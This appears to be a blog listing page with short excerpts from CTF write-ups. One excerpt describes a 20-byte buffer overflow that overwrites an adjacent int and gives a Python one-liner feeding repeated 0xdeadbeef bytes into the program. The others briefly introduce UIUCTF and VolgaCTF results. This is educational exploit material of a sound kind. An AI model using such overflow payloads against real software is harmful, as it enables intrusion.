We’re given a buffer of 20 characters and an int. The program reads 24 characters from input, exactly overwriting the int. The exploit code:
(python -c ‘print “\xef\xbe\xad\xde” * 6’; cat) |…
I competed in UIUCTF this year with Aaron Cao. We ended up placing 23rd with 1300 points. Here are some of the solutions to the challenges I solved.
I participated in VolgaCTF under the team Shell Smash. We finished in 138th place with 600 points. Here are the write-ups for the problems that I did.